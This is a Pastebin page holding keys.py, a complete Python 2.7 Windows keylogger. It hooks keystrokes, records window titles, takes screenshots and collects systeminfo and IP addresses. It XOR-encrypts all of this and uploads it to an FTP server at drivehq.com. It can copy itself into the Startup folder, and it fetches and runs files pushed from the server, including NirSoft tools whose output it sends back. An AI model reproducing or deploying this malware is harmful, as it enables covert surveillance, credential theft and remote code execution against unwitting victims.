Advertisement
michalmonday

keys.py

Mar 13th, 2017
476
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.92 KB | None | 0 0
  1. '''
  2. Python 2.7 implementation with some additional functionality:
  3. -systeminfo data is uploaded when the file is executed
  4. -all the data uploaded to FTP server is encrypted (keys_retriever.py is used to collect/decrypt the data)
  5. -ability to take screenshot with simple kl.UploadScreenShot()
  6. -auto-downloader so you can use keys_retriever.py to upload some file and it will be executed on the target, keys_retrieve.py allows to set few parameters to it like (persistence/execute/upload results if it's nirsoft application)
  7. -use several ftp accounts in case if 1 is not available (drivehq.com has 25 logins/day limit so that's why there's such function)
  8. -"keep alive" (NOOP) packet is sent each minute to the FTP
  9. '''
  10.  
  11. import pyHook
  12. import pythoncom
  13. import sys, os
  14. import ftplib, datetime
  15. import threading, time
  16. from Queue import Queue
  17. import io, subprocess
  18. from urllib2 import urlopen
  19. import socket
  20. import win32api
  21. from ctypes import Structure, windll, c_uint, sizeof, byref #needed for GetIdleTime()
  22. from random import randint
  23.  
  24. from PIL import ImageGrab, Image
  25. import StringIO
  26.  
  27. class LASTINPUTINFO(Structure): #needed for GetIdleTime()
  28.     _fields_ = [
  29.         ('cbSize', c_uint),
  30.         ('dwTime', c_uint),
  31.     ]
  32.  
  33. xorMap = [235, 235, 126, 240, 203, 237, 81, 160, 9, 37, 204, 43, 190, 31, 76, 98, 53, 200, 222, 172, 184, 172, 157, 214, 128, 194, 175, 119, 254, 25, 25, 193, 109, 190, 240, 162, 184, 184, 114, 117, 57, 63, 167, 61, 104, 86, 146, 85, 114, 205, 0, 73, 162, 188, 129, 22, 67, 26, 80, 50, 190, 7, 91, 15, 56, 127, 226, 61, 172, 204, 76, 72, 40, 154, 65, 85, 8, 223, 211, 178, 149, 106, 57, 204, 236, 147, 54, 246, 59, 90, 43, 148, 9, 50, 253, 74, 143, 201, 48, 252, 236, 236, 139, 30, 124, 44, 21, 245, 179, 53, 85, 243, 230, 21, 49, 7, 239, 153, 46, 9, 1, 119, 105, 25, 71, 139, 75, 58, 43, 229, 88, 234, 226, 201, 1, 69, 16, 71, 97, 32, 195, 197, 215, 37, 219, 81, 243, 202, 181, 177, 193, 98, 179, 92, 180, 72, 219, 176, 115, 173, 16, 212, 118, 24, 204, 18, 123, 155, 197, 254, 226, 208, 80, 120, 46, 222, 152, 213, 68, 33, 153, 62, 192, 162, 16, 225, 110, 81, 65, 156, 212, 31, 26, 178, 195, 23, 141, 241, 48, 180]
  34.  
  35.  
  36. def ExceptionHandler(func): #the exe won't popup "Couldn't execute keys script" but will output encrypted exception to e.mm file and "gracefully" exit
  37.     def call(*args, **kwargs):
  38.         try: return func(*args, **kwargs)
  39.         except Exception as e:
  40.             #with open("e.mm", "wb") as f:
  41.                 #f.write(XorText("Exception:\n"+str(e), xorMap)) #it's not a good idea to save it to a file if it's in the startup folder...
  42.             print "Handled exception:\n"+str(e)
  43.             raise SystemExit
  44.     return call
  45.  
  46.  
  47.  
  48. @ExceptionHandler
  49. def GetIdleTime():
  50.     lastInputInfo = LASTINPUTINFO()
  51.     lastInputInfo.cbSize = sizeof(lastInputInfo)
  52.     windll.user32.GetLastInputInfo(byref(lastInputInfo))
  53.     millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime
  54.     return millis / 1000.0
  55.  
  56. @ExceptionHandler
  57. def ProcessCmd(command):
  58.     proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  59.     r = proc.stdout.read() + proc.stderr.read()
  60.     return r[:len(r)-2]
  61.  
  62. @ExceptionHandler
  63. def XorText(text, xorMap):
  64.     xoredText = ""
  65.     for i, letter in enumerate(text):
  66.         xoredText += chr(ord(text[i]) ^ (xorMap[i%len(xorMap)] ^ (xorMap[(len(text)- 1)%len(xorMap)]))) #chr(ord(letter) ^ xorMap[i%len(xorMap)])
  67.     return xoredText
  68.  
  69. @ExceptionHandler
  70. def FilterKey(k, text):
  71.     if len(text) > len(k) and len(text) > 3:
  72.         if text[len(text)-len(k):] == k and (len(k) > 1 or any(specialKey == k and specialKey == text[len(text)-1] and specialKey == text[len(text)-2] for specialKey in ["w", "s", "a", "d"])):
  73.             return ""
  74.     return k
  75.  
  76. @ExceptionHandler
  77. def GetPublicIP():  
  78.     return str(urlopen('http://ip.42.pl/raw').read())
  79.  
  80. @ExceptionHandler
  81. def GetLocalIP():
  82.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  83.     try:
  84.         s.connect(('10.255.255.255', 0))
  85.         IP = s.getsockname()[0]
  86.     except: IP = '127.0.0.1'
  87.     finally: s.close()
  88.     return str(IP)
  89.  
  90. class Keylogger:
  91.     @ExceptionHandler
  92.     def __init__(self, **kwargs):
  93.         self.debug = kwargs.get("debug", False)
  94.         self.postfreq = kwargs.get("postfreq", 20)
  95.         self.q = Queue()
  96.         self.xorMap = xorMap
  97.         self.windowname = ""
  98.         self.strbuff = ""
  99.         self.secSendFile = time.clock()
  100.         self.secKeepConAlive = time.clock()
  101.         self.secCheckScreenCaptureRequest = time.clock()
  102.         self.secDownloadFile = time.clock()
  103.         self.ftpFolderName = "_" + "".join(letter for letter in ProcessCmd("echo %USERNAME%") if letter.isalnum())
  104.  
  105.     @ExceptionHandler
  106.     def __del__(self):
  107.         try: self.ftp.quit()
  108.         except:
  109.             try: self.ftp.close()
  110.             except: pass
  111.         try: self.hookManager.UnhookKeyboard()
  112.         except: pass
  113.  
  114.     @ExceptionHandler
  115.     def StartKeyCapture(self):      
  116.         self.hookManager = pyHook.HookManager()
  117.         self.hookManager.KeyDown = self.OnKeypressCallback
  118.         self.hookManager.HookKeyboard()
  119.         pythoncom.PumpMessages()        
  120.  
  121.     @ExceptionHandler
  122.     def OnKeypressCallback(self, press):
  123.         if press.Ascii not in range(32,126):    
  124.             self.q.put([FilterKey("<"+press.Key+">", self.strbuff), press.WindowName])
  125.         else:
  126.             self.q.put([FilterKey(chr(press.Ascii), self.strbuff), press.WindowName])
  127.         return True
  128.  
  129.     @ExceptionHandler
  130.     def CopyItselfToStartup(self):
  131.         desired_file = ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" + os.path.basename(sys.argv[0])
  132.         if not os.path.isfile(desired_file):
  133.             with open(os.path.basename(sys.argv[0]), "rb") as base_f, open(desired_file, "wb") as new_f:
  134.                 new_f.write(base_f.read())
  135.                 if self.debug: print "Copied itself to startup"
  136.  
  137.     @ExceptionHandler
  138.     def FTP_Connect(self, server, port, name_list, pswd_list):
  139.         for name, pswd in zip(name_list, pswd_list):
  140.             try:
  141.                 self.ftp = ftplib.FTP()
  142.                 self.ftp.connect(server, port)
  143.                 self.ftp.login(name, pswd)
  144.             except: continue
  145.             directories = []
  146.             self.ftp.retrlines('LIST', directories.append)
  147.             if not any(self.ftpFolderName in d for d in directories):
  148.                 self.ftp.mkd(self.ftpFolderName)
  149.  
  150.             if self.debug: print "Connected to the ftp server (" + ", ".join([server, name, pswd]) + ")"
  151.             return True
  152.         raise ValueError("Couldn't connect to: " + server + " using the following credentials:\n" + "".join(u + " : " + p + "\n" for u,p in zip(name_list, pswd_list)))
  153.  
  154.     @ExceptionHandler
  155.     def UploadSystemInfo(self):
  156.         directories = []
  157.         self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append)
  158.         if not any("_" in d for d in directories):
  159.             self.ftp.mkd("\\"+self.ftpFolderName+"\\_")
  160.         self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\_\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(XorText(GetPublicIP() +"\n"+ GetLocalIP() + "\n" + ProcessCmd("systeminfo"), xorMap)))
  161.         if self.debug: print "Systeminfo uploaded"
  162.    
  163.     @ExceptionHandler
  164.     def UploadScreenShot(self, **kwargs):
  165.         screenFolder = "vv" if kwargs.get("vidstream") == True else "ii"
  166.         directories = []
  167.         self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append)
  168.         if not any(screenFolder in d for d in directories):
  169.             self.ftp.mkd("\\"+self.ftpFolderName + "\\" + screenFolder)            
  170.         ss_pil = ImageGrab.grab()
  171.         imgBuff = StringIO.StringIO()
  172.         ss_pil.save(imgBuff, "JPEG")
  173.         self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName + "\\" + screenFolder + "\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(XorText(imgBuff.getvalue(), xorMap)))
  174.         imgBuff.close()
  175.         if self.debug: print "ScreenShot uploaded (\\" + screenFolder +")"
  176.  
  177.     @ExceptionHandler
  178.     def IsScreenCaptureStreamRequested(self, **kwargs): #not developed it much, it requires more work to be done to be fully functional
  179.         if kwargs.get("dircheck", False) == True:
  180.             directories = []
  181.             self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append)
  182.             if not any("vv" in d for d in directories):
  183.                 self.ftp.mkd("\\"+self.ftpFolderName+"\\vv")
  184.                 return False
  185.         if any(f.startswith("s") for f in self.ftp.nlst("\\"+self.ftpFolderName+"\\vv")):
  186.             return True
  187.         return False
  188.  
  189.     @ExceptionHandler
  190.     def IsFileDownloadAvailable(self):
  191.         directories = []
  192.         self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append)
  193.         if not any("f" in d for d in directories):
  194.             self.ftp.mkd("\\"+self.ftpFolderName+"\\f")
  195.         if "f.mm" in self.ftp.nlst("\\"+self.ftpFolderName+"\\f"):
  196.             return True
  197.         return False
  198.  
  199.     @ExceptionHandler
  200.     def DownloadFile(self):
  201.         if self.debug: print "DownloadFile"
  202.         dataChunks = []
  203.         if self.debug: print "0"
  204.         self.ftp.retrbinary('RETR ' + "\\"+ self.ftpFolderName +"\\f\\f.mm", dataChunks.append)
  205.         if self.debug: print 1
  206.         fileInfo, fileData = XorText("".join(dataChunks), self.xorMap).split("###########################_____________________###############################")
  207.         if self.debug: print 2
  208.         destinationFileName = [v.split("=")[1] for v in fileInfo.split("\n") if "destinationFileName" in v][0]
  209.         destinationPath = [v.split("=")[1] for v in fileInfo.split("\n") if "destinationPath" in v][0]
  210.         destinationPath = (ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/") if destinationPath == "startup" else (ProcessCmd("echo %USERPROFILE%").replace("\\", "/") + "/" + destinationPath)
  211.         execute = True if [v.split("=")[1] for v in fileInfo.split("\n") if "execute" in v][0] == "True" else False
  212.         params = [v.split("=")[1] for v in fileInfo.split("\n") if "params" in v][0]
  213.         isNirsoft = True if [v.split("=")[1] for v in fileInfo.split("\n") if "nirsoft" in v][0] == "True" else False
  214.  
  215.         desiredFile = destinationPath + destinationFileName
  216.  
  217.         if not os.path.exists(destinationPath):
  218.             os.makedirs(destinationPath)        
  219.         if os.path.isfile(desiredFile):
  220.             os.remove(desiredFile)
  221.            
  222.         with open(desiredFile, "wb") as f:
  223.             f.write(fileData)
  224.             if self.debug: print "Downloaded "+ destinationFileName
  225.  
  226.         if execute:
  227.             ProcessCmd("start \"\" \""+ desiredFile + "\"" + (" "+params if params != "none" else ""))
  228.             if self.debug: print "Executed "+ destinationFileName
  229.             if isNirsoft:
  230.                 nsOutput = destinationFileName.split(".")[0] + ".mm"
  231.                 for i in range(100):
  232.                     time.sleep(0.1)
  233.                     if os.path.isfile(nsOutput):
  234.                         break
  235.                 else:
  236.                     if self.debug: print "Nirsoft output not available"
  237.                     os.remove(desiredFile)
  238.                     return    
  239.                    
  240.                 with open(nsOutput, "rb") as f:
  241.                     data = XorText(f.read(),self.xorMap)
  242.                 os.remove(nsOutput)
  243.                 os.remove(desiredFile)
  244.                 if self.debug: print "Nirsoft application and output files removed"
  245.                
  246.                 self.UploadNirsoftData(data, nsOutput)
  247.  
  248.            
  249.         self.ftp.delete("\\"+ self.ftpFolderName +"\\f\\f.mm")
  250.         if self.debug: print "Deleted "+ destinationFileName + " from ftp server"
  251.  
  252.     @ExceptionHandler
  253.     def UploadNirsoftData(self, data, fileName):
  254.         directories = []
  255.         self.ftp.retrlines('LIST \\' + self.ftpFolderName, directories.append)
  256.         if not any("n" in d for d in directories):
  257.             self.ftp.mkd("\\"+self.ftpFolderName+"\\n")
  258.         self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\n\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", io.BytesIO(data))
  259.         if self.debug: print "Nirsoft data uploaded"        
  260.  
  261.     @ExceptionHandler
  262.     def Update(self):
  263.         try:data = self.q.get(block=False)
  264.         except:data = ["",self.windowname]
  265.  
  266.         if data[1] != self.windowname:
  267.             self.windowname = data[1]
  268.             self.strbuff += "\n\n["+self.windowname+"]\n"
  269.  
  270.         #print "secSendFile=" + str(self.secSendFile) + ", time.clock()=" + str(time.clock())
  271.        
  272.         #print data[0]
  273.         self.strbuff += data[0]
  274.  
  275.         if (time.clock() - self.secKeepConAlive) > 60: #every 1 min
  276.             self.secKeepConAlive = time.clock()
  277.             if self.debug: print "Keep connection alive is going to be sent."
  278.             self.ftp.voidcmd("NOOP")
  279.             if self.debug: print "Keep connection alive has been sent."
  280.  
  281.         if (time.clock() - self.secSendFile) > self.postfreq*60 and self.strbuff:
  282.             self.secSendFile = time.clock()  
  283.             if self.debug: print "To be uploaded: " + self.strbuff + "\n"
  284.             if self.debug: print "To be uploaded (xored): " + XorText(self.strbuff, self.xorMap) + "\n\n"
  285.            
  286.             b = io.BytesIO(XorText(self.strbuff, self.xorMap))
  287.             self.ftp.storbinary("STOR " + "\\"+ self.ftpFolderName +"\\" + datetime.datetime.now().strftime("%d-%m-%Y___%H-%M") + ".mm", b)
  288.             self.strbuff = ""
  289.  
  290.         #if (time.clock() - self.secCheckScreenCaptureRequest) > 15: #every 15 sec
  291.             #if self.IsScreenCaptureStreamRequested(dircheck = True):
  292.                 #self.UploadScreenShot(vidstream=True)
  293.  
  294.         if (time.clock() - self.secDownloadFile) > 15: #every 15 sec
  295.             if self.IsFileDownloadAvailable():
  296.                 time.sleep(15)
  297.                 self.DownloadFile()
  298.  
  299.        
  300.                
  301.  
  302. def QuickSetup(**kwargs):
  303.     kl = Keylogger(postfreq=kwargs.get("postfreq", 20), debug=kwargs.get("debug", False))            
  304.  
  305.     if kwargs.get("persistence", False): kl.CopyItselfToStartup()
  306.  
  307.     kl.FTP_Connect(kwargs.get("server", "ftp.drivehq.com"),
  308.                    kwargs.get("port", 0),
  309.                    kwargs.get("names",["michal", "monday", "thirdAccountUsername"]),
  310.                    kwargs.get("passwords",["qwerty", "password2", "thirdAccountPssword"]))
  311.    
  312.     kl.UploadSystemInfo()
  313.     kl.UploadScreenShot()
  314.  
  315.     keyCapture = threading.Thread(target=kl.StartKeyCapture)
  316.     keyCapture.daemon = True
  317.     keyCapture.start()
  318.    
  319.     while True:
  320.         kl.Update()#a.k.a. run()          
  321.         time.sleep(0.02)
  322.        
  323.        
  324. if __name__ == "__main__":
  325.     QuickSetup(postfreq=10, debug = True, persistence=False)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement